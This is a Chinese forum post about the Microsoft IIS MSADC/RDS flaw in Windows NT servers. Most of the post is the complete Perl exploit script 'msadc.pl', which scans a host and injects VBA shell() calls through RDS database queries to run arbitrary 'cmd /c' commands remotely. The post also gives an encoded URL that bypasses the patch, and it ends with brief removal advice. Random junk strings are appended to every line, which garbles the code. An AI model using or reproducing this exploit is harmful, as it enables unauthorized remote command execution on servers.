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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) ~XmLX)vO/  
R1$:~p2m  
涉及程序:   t!_<~  
Microsoft NT server M,\:<kNI  
x5-}h*  
描述: S;286[oq@  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 =h5H~G5AT  
]z/8KL  
详细: oV|4V:G q  
如果你没有时间读详细内容的话,就删除: \6Zr  
c:\Program Files\Common Files\System\Msadc\msadcs.dll [rV>57`YD  
有关的安全问题就没有了。 4p,EBn9(  
'|8} z4/g  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 GE%Z9#E  
P 'od`  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 hFy;ffs.  
关于利用ODBC远程漏洞的描述,请参看: DrY:9[LP  
^Dn D>h@q  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm j~jV'f.:H  
=*c7i]@}  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 /n{omx  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp #PH~1`vl  
IS&ZqE(`e  
这里不再论述。 NUWDc]@J*  
]\hSI){  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: NRIG1v>  
UMm!B`M  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset 1e{IC=  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! b((M)Gz  
Gsq00j &<Z  
2Ay* kmW  
#将下面这段保存为txt文件,然后: "perl -x 文件名" tnN.:%mZ  
nz=G lO'[  
#!perl q(.sq12<<W  
# 3 09hn  
# MSADC/RDS 'usage' (aka exploit) script "AsKlKz{B  
# # Oc] @  
# by rain.forest.puppy j2StXq3  
# 7` zHX&-W  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me ?IqQ-C)6D  
# beta test and find errors! OuID%p"O  
ogHCt{'  
use Socket; use Getopt::Std; Tz8PSk1[  
getopts("e:vd:h:XR", \%args); v50bdj9}k  
#mCL) [  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; ~5%W:qwQ  
Vr`R>S,-  
if (!defined $args{h} && !defined $args{R}) { NflD/q/ L  
print qq~ ;S^'V  
Usage: msadc.pl -h <host> { -d <delay> -X -v } q$Zh@  
-h <host> = host you want to scan (ip or domain) WrxP  
-d <seconds> = delay between calls, default 1 second xSsa(b  
-X = dump Index Server path table, if available - -HZX  
-v = verbose AQ,' 6F9  
-e = external dictionary file for step 5 $j5K8Ad  
:OhHb #D  
Or a -R will resume a command session ^6MU 0Q2  
p'*>vk  
~; exit;} G\Cp7:j}  
vgH3<pDiU6  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; mGJKvJF   
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} 6;\I))"[  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} (a.z9nqGA  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); w[zjerH3  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} =hC,@R>;  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 93("oBd[s(  
[65 `$x-  
if (!defined $args{R}){ $ret = &has_msadc; ~962i#&4  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} ao1(]64X"  
8*#R]9  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" "55skmD.P  
. "cmd /c "; RI 5yF  
$in=<STDIN>; chomp $in; k;AD`7(=  
$command="cmd /c " . $in ; Sq/ qu-%X  
=jOv] /  
if (defined $args{R}) {&load; exit;} c[wla<dO*  
a eFe!`F  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; 6}[I2F_^  
&try_btcustmr; :cem,#(=  
la0BiLzb]  
print "\nStep 2: Trying to make our own DSN..."; ([T>.s  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; "d#Y}@*~o  
lT(WD}OS  
print "\nStep 3: Trying known DSNs..."; V@e?#iz  
&known_dsn; LrM=*R h,O  
DCIxRPw  
print "\nStep 4: Trying known .mdbs..."; oTU!R ,  
&known_mdb; jnKWZ/R  
y&q*maa[  
if (defined $args{e}){ Fq~yL!#!  
print "\nStep 5: Trying dictionary of DSN names..."; ,Ys %:>?  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } ZRh~`yy  
5[k/s}g  
print "Sorry Charley...maybe next time?\n"; Xx."$l  
exit; :DrWq{4  
`w#Oih!6A|  
############################################################################## v5!d$Vctu  
2&:f&"  
sub sendraw { # ripped and modded from whisker h)ECf?r<  
sleep($delay); # it's a DoS on the server! At least on mine... QR c{vUR&  
my ($pstr)=@_; =9y[1t  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ?26I,:;  
die("Socket problems\n"); A!s`[2 Z  
if(connect(S,pack "SnA4x8",2,80,$target)){ jSh5!6O  
select(S); $|=1; ddJQC|xR}  
print $pstr; my @in=<S>; >kj`7GA  
select(STDOUT); close(S); qON|4+~u%  
return @in; R&8Iz yM  
} else { die("Can't connect...\n"); }} cs,N <|  
+%zAQeb  
############################################################################## 7 E r23Q  
V+* P2|  
sub make_header { # make the HTTP request YSr9VpqWV  
my $msadc=<<EOT Xb:;</  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 c]x1HvPE  
User-Agent: ACTIVEDATA jSD#X3qp  
Host: $ip aktU$Wbwl  
Content-Length: $clen 3GaQk-  
Connection: Keep-Alive tvkb~  
hm84Aq= f  
ADCClientVersion:01.06 tX9{hC^  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 1->dMm}G[  
jqWu  
--!ADM!ROX!YOUR!WORLD! \f]k CB  
Content-Type: application/x-varg <C1H36p  
Content-Length: $reqlen C]O(T2l{l  
RkH W   
EOT oX#Q<2z*  
; $msadc=~s/\n/\r\n/g; `slL %j^"  
return $msadc;} Yl4^AR&  
M>wYD\oeg  
############################################################################## D"Bl:W'?j  
/7a BDc-v  
sub make_req { # make the RDS request =e/9&993  
my ($switch, $p1, $p2)=@_; -V-RP;">  
my $req=""; my $t1, $t2, $query, $dsn; [.O?Z=5a[V  
V, Z|tB^  
if ($switch==1){ # this is the btcustmr.mdb query s1M Erd  
$query="Select * from Customers where City=" . make_shell(); ,~aQL  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . [;r)9mh7  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 1t:Q_j0Ym  
;kFDMuuO  
elsif ($switch==2){ # this is general make table query *;l]8.  
$query="create table AZZ (B int, C varchar(10))"; H7z,j}l  
$dsn="$p1";} )JDs\fUE  
9A/\h3HrJ  
elsif ($switch==3){ # this is general exploit table query Hbj,[$Jb  
$query="select * from AZZ where C=" . make_shell(); #X%~B'  
$dsn="$p1";} l7XUXbYp&=  
03|PYk 6EW  
elsif ($switch==4){ # attempt to hork file info from index server \l'm[jy>  
$query="select path from scope()"; Lz`E;k^  
$dsn="Provider=MSIDXS;";} \s/s7y6b+  
oiF}?:7Q7  
elsif ($switch==5){ # bad query ^ssK   
$query="select"; lW+\j3?Z$  
$dsn="$p1";} :}Xll#.,m  
O!m vJD  
$t1= make_unicode($query); 5QW=&zI`=  
$t2= make_unicode($dsn); `_BNy=`s*  
$req = "\x02\x00\x03\x00"; fL_4uC i\  
$req.= "\x08\x00" . pack ("S1", length($t1)); wg7V-+@i  
$req.= "\x00\x00" . $t1 ; zcel|oz)  
$req.= "\x08\x00" . pack ("S1", length($t2)); @G BxL*e  
$req.= "\x00\x00" . $t2 ; u8gS< \  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; KK1 gNC4R  
return $req;} bV(Y`g  
ujDd1Bxf?  
############################################################################## C\S3Gs  
_K`wG}YIE  
sub make_shell { # this makes the shell() statement RTvqCp  
return "'|shell(\"$command\")|'";} HTVuStM8  
*i\Qo  
############################################################################## S/}2;\Xm  
gwOa$f%O  
sub make_unicode { # quick little function to convert to unicode E=jNi  
my ($in)=@_; my $out; 8qY79)vD4E  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } %b%-Ogz;4  
return $out;} vL|SY_:4  
r;B8i!gD  
############################################################################## \.C +ue  
TlXI|3Ip  
sub rdo_success { # checks for RDO return success (this is kludge) B:dB,3,`(  
my (@in) = @_; my $base=content_start(@in); &Lt}=3G  
if($in[$base]=~/multipart\/mixed/){ t#Z-mv:(  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} E.r>7`E  
return 0;} /,89p&h  
1%EBd%`#  
############################################################################## xe#FUS 3  
T?:Rdo!:u  
sub make_dsn { # this makes a DSN for us u5O+1sZ"6  
my @drives=("c","d","e","f"); GS0;bI4ay  
print "\nMaking DSN: "; o}$XH,-9&  
foreach $drive (@drives) { aK&b{d  
print "$drive: "; jK!Au  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . FemC Lvu  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" CUO+9X-<8  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); EqyeJq .  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; K-e9>fmB#  
return 0 if $2 eq "404"; # not found/doesn't exist sc|_Q/`\.  
if($2 eq "200") { o]+z)5zC  
foreach $line (@results) { 3[\iQ*d }B  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} J{l1nHQZSu  
} return 0;} )hd@S9Z.Y  
VCu{&Sh*  
############################################################################## u6M.'  
*v;!-F&8>  
sub verify_exists { ,oN8HpGs  
my ($page)=@_; [OjF[1I)u  
my @results=sendraw("GET $page HTTP/1.0\n\n"); N96jJk  
return $results[0];} ~Fe${2   
)i~cr2Hk  
############################################################################## ~J5+i9T.)  
?Y)vGlWDW<  
sub try_btcustmr { tkVbo.[8K  
my @drives=("c","d","e","f"); $"`- ^  
my @dirs=("winnt","winnt35","winnt351","win","windows"); E'v _#FLvR  
q`|LRz&al  
foreach $dir (@dirs) { x9$` W  
print "$dir -> "; # fun status so you can see progress _.>QEh5"5  
foreach $drive (@drives) { 2{]`W57_=  
print "$drive: "; # ditto IYqBQnX}oM  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; _,zA ^*b  
$reqlenlen=length( "$reqlen" ); g3Ec"_>P  
$clen= 206 + $reqlenlen + $reqlen; Mx6@$tQ%  
M^MdRu  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); l*ayd>`~x  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} \qR7mI/*  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} `Y BC  
INcg S MM  
############################################################################## X- pqw~$  
7q?9Tj3  
sub odbc_error { F|F]970  
my (@in)=@_; my $base; $i&e[O7T;  
my $base = content_start(@in); L=c!:p|7)  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this 4A@NxihH  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 3j,Q`+l/6d  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; A54N\x,  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 6S\C}U/   
return $in[$base+4].$in[$base+5].$in[$base+6];} V7GRA#|  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; flk=>h|  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . rJPb 3F  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} K2 he4<  
6^%UU o%  
############################################################################## LL]zT H0  
qgE 73.!`6  
sub verbose { wDcj,:h`  
my ($in)=@_; vK 7^*qr;j  
return if !$verbose; HqI t74+  
print STDOUT "\n$in\n";} hD\rtW  
2GFLnz  
############################################################################## pM x  
| B. 0TdF  
sub save { EzDk}uKY0R  
my ($p1, $p2, $p3, $p4)=@_; r9X?PA0f  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; Ae mDJ8Y  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; J+[_Wd  
close OUT;} "nZ*{uv  
wyp|qIS;  
############################################################################## ) u3 Zm  
0*%Z's\M"  
sub load { iDMJicW!+F  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; :r%P.60H X  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); nNrPHNfqD  
@p=<IN>; close(IN); #rxVd 7f  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); W"):-Wq  
$target= inet_aton($ip) || die("inet_aton problems"); !O-T0O   
print "Resuming to $ip ..."; I'PeN0T f  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; F_Z- 8>P  
if($p[1]==1) { N U|d  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; , 3,gG "  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; .^N/peU q  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); @[5xq  
if (rdo_success(@results)){print "Success!\n";} J%x6  
else { print "failed\n"; verbose(odbc_error(@results));}} xm%Um\Pb7  
elsif ($p[1]==3){ =jlt5 z  
if(run_query("$p[3]")){ VGtC)mG8)  
print "Success!\n";} else { print "failed\n"; }} &Ts-a$Z7?S  
elsif ($p[1]==4){ O_$m!5ug  
if(run_query($drvst . "$p[3]")){ j2Tr $gx<  
print "Success!\n"; } else { print "failed\n"; }} >"gf3rioW  
exit;} W4[V}s5u  
-cZDG t  
############################################################################## :80Z6F.k`  
ZaeqOVp/j  
sub create_table { }-ftyl7  
my ($in)=@_; KiI!frm1  
$reqlen=length( make_req(2,$in,"") ) - 28; O?U'!o=  
$reqlenlen=length( "$reqlen" ); XID<(HBA"!  
$clen= 206 + $reqlenlen + $reqlen; |3F02  
my @results=sendraw(make_header() . make_req(2,$in,"")); A6GE,FhsG  
return 1 if rdo_success(@results); cU ? 0(z7  
my $temp= odbc_error(@results); verbose($temp); f:ZAG4B  
return 1 if $temp=~/Table 'AZZ' already exists/; Wm_4avXtO  
return 0;} x 8Retuv  
hfnN@Kg?B}  
############################################################################## ]d,S749(s  
>2~+.WePu  
sub known_dsn { uvtF_P/  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go T6H}/#*tK  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", MxSM@3v(  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", )ap_Z6  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); + ` s@  
Q@ 2i~Qo[  
foreach $dSn (@dsns) { (Q%'N3gk  
print "."; ~\=1'D^6CK  
next if (!is_access("DSN=$dSn")); f` :i.Sr  
if(create_table("DSN=$dSn")){ /J04^ 6  
print "$dSn successful\n"; ,S'p %g  
if(run_query("DSN=$dSn")){ XEn*?.e  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 9;Itqe{8w  
print "Something's borked. Use verbose next time\n";}}} print "\n";} Gqcq,_?gt  
!,[C] Q1  
############################################################################## qtiz a~u  
?"zY" *>4  
sub is_access { RQ'exc2x0  
my ($in)=@_; 0GB:GBhZ  
$reqlen=length( make_req(5,$in,"") ) - 28; =i_-F$pV  
$reqlenlen=length( "$reqlen" ); v3}L`dyh3  
$clen= 206 + $reqlenlen + $reqlen; fRy^Q_~,  
my @results=sendraw(make_header() . make_req(5,$in,"")); -:30:oq  
my $temp= odbc_error(@results); e?_@aa9~@{  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); 70f Klp  
return 0;} ]Tkc-ez  
N-I5X2  
############################################################################## 'rMN=1:iu"  
g)s{ IAVx  
sub run_query { <@}I0  
my ($in)=@_; '|S%a MLZ)  
$reqlen=length( make_req(3,$in,"") ) - 28; w=j  
$reqlenlen=length( "$reqlen" );  Np'2}6P  
$clen= 206 + $reqlenlen + $reqlen; *c%oN |  
my @results=sendraw(make_header() . make_req(3,$in,"")); o&`<+4 i  
return 1 if rdo_success(@results); 2WtRJi?b|  
my $temp= odbc_error(@results); verbose($temp); F#5B<I  
return 0;} S/Fkw4%  
2>86oP&  
############################################################################## mjWU0Gh%*  
2Yp7  
sub known_mdb { {]E+~%Va  
my @drives=("c","d","e","f","g"); N@O8\oQG  
my @dirs=("winnt","winnt35","winnt351","win","windows"); #<e\QE'!  
my $dir, $drive, $mdb; ZKQG:M~|  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; @;<ht c  
jV? }9L^;  
# this is sparse, because I don't know of many D[_|*9BC  
my @sysmdbs=( "\\catroot\\icatalog.mdb", SV v;q?jZ  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", TJ: ]SB  
"\\system32\\certmdb.mdb", h~(G$':^  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% krsYog(^z  
6U[4%(  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", ;QW3CEaUq  
"\\cfusion\\cfapps\\forums\\forums_.mdb", R2(3 >`FJ  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", S,<EEtXQ  
"\\cfusion\\cfapps\\security\\realm_.mdb", UJfEC0  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", @J5Jpt*IE  
"\\cfusion\\database\\cfexamples.mdb", uq, { tV  
"\\cfusion\\database\\cfsnippets.mdb", x~GQV^(l3  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", UB 6mqjPK  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", K'X2dG*  
"\\cfusion\\brighttiger\\database\\cleam.mdb", A5i:x$ww  
"\\cfusion\\database\\smpolicy.mdb", ~zSCg|"r  
"\\cfusion\\database\cypress.mdb", @+9<O0  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", %^1cyk  
"\\website\\cgi-win\\dbsample.mdb", ,WvY$_#xW%  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", <Q ?a=4  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" p/U+0f  
); #these are just bYi`R)  
foreach $drive (@drives) { 2RN)<\P  
foreach $dir (@dirs){ ]8T |f  
foreach $mdb (@sysmdbs) { hQ(qbt{e  
print "."; 'ihhoW8  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ Qu} W/j|3  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 1Wm)rXW[x  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ ^s@8VAwi  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; c)A{p  
} else { print "Something's borked. Use verbose next time\n"; }}}}} P>sFV  
34wkzu  
foreach $drive (@drives) { zN{K5<7o  
foreach $mdb (@mdbs) { F B?UZ  
print "."; [5uRS}!  
if(create_table($drv . $drive . $dir . $mdb)){ A |3tI  
print "\n" . $drive . $dir . $mdb . " successful\n"; q^A+<d  
if(run_query($drv . $drive . $dir . $mdb)){ 3,]gEE3  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; RjWqGr;bO  
} else { print "Something's borked. Use verbose next time\n"; }}}} -i4&v7"  
} =egW  
8me ]JRw  
############################################################################## $&<uT  
j'aHF#_  
sub hork_idx { ukvtQz)  
print "\nAttempting to dump Index Server tables...\n"; /}Lt,9  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; UK1_0tp]x  
$reqlen=length( make_req(4,"","") ) - 28; [74F6Qp  
$reqlenlen=length( "$reqlen" ); H(Q.a=&4!p  
$clen= 206 + $reqlenlen + $reqlen; 7<jZ`qdq_  
my @results=sendraw2(make_header() . make_req(4,"","")); Pfm_@'8  
if (rdo_success(@results)){ - !>}_AH  
my $max=@results; my $c; my %d; t=u  Qb=  
for($c=19; $c<$max; $c++){ \mw(cM#:  
$results[$c]=~s/\x00//g; -0_d/'d  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; IBQ@{QB  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; XuD=E  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; rHf&:~   
$d{"$1$2"}="";} +J{0 E  
foreach $c (keys %d){ print "$c\n"; } <c%W")0  
} else {print "Index server doesn't seem to be installed.\n"; }} mk3_  
/;tPNp{!dw  
############################################################################## wWSdTLX  
K{ \;2M  
sub dsn_dict { `E!N9qI?t$  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); "Vr[4&`  
while(<IN>){ vk>b#%1{  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ~}!3G  
next if (!is_access("DSN=$dSn")); ?[& 2o|  
if(create_table("DSN=$dSn")){ u$D*tqxG  
print "$dSn successful\n"; (u]N  
if(run_query("DSN=$dSn")){ `u.t[  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { O/.Uh`T`6  
print "Something's borked. Use verbose next time\n";}}} *dvDap|8W  
print "\n"; close(IN);} 8a_[B~  
v3GwD0 0  
############################################################################## "*;;H^d  
/sr2mt-Q  
sub sendraw2 { # ripped and modded from whisker u(OW gbA3  
sleep($delay); # it's a DoS on the server! At least on mine... eL4NB$Fb  
my ($pstr)=@_; "wlt> SU  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||  f>s?4  
die("Socket problems\n"); r}0\}~'?c  
if(connect(S,pack "SnA4x8",2,80,$target)){ $t5 V=}m>  
print "Connected. Getting data"; P i Fm|  
open(OUT,">raw.out"); my @in; Fbu5PWhlc  
select(S); $|=1; print $pstr; @"Z7nJX  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} :> &fV  
close(OUT); select(STDOUT); close(S); return @in; ?6nF~9Z'  
} else { die("Can't connect...\n"); }} y$3;$ R^  
$5v0m#[^  
##############################################################################  Ug:\  
Qj3a_p$)P  
sub content_start { # this will take in the server headers ,ZQZ}`x(  
my (@in)=@_; my $c; <BO)E(  
for ($c=1;$c<500;$c++) { !r`,=jK"  
if($in[$c] =~/^\x0d\x0a/){ 1Nu1BLPm  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } uZZU{U9h  
else { return $c+1; }}} 7},)]da>,'  
return -1;} # it should never get here actually w=|GJ 0  
*=fr8  
############################################################################## S}f?.7  
=C L} $_  
sub funky { 1yV: qp  
my (@in)=@_; my $error=odbc_error(@in); wZ4tCZA  
if($error=~/ADO could not find the specified provider/){ sz @p_Z/  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; A<\JQ  
exit;} 6G}+gqbX  
if($error=~/A Handler is required/){ DfV~!bY  
print "\nServer has custom handler filters (they most likely are patched)\n"; oG7q_4+&  
exit;} wBQF~WY  
if($error=~/specified Handler has denied Access/){ * ,v|y6  
print "\nServer has custom handler filters (they most likely are patched)\n"; jqH3J2L  
exit;}} /t6X(*xoy  
{QbvR*gv  
############################################################################## y7S4d~&  
/m( =`aRt  
sub has_msadc { [xh*"wT#g  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); ,-+"^>  
my $base=content_start(@results); 0 a~HiIh  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); ZhNdB  
return 0;} BS q)RV/3  
+n})Y  
######################## kQaSbpNmH  
Mc-)OtmG[  
&20P,8@  
解决方案: N)S!7%ne  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll 341?0 %=  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 LkLN7|  
;pD)m/$h`  
拿出来充数 哈哈
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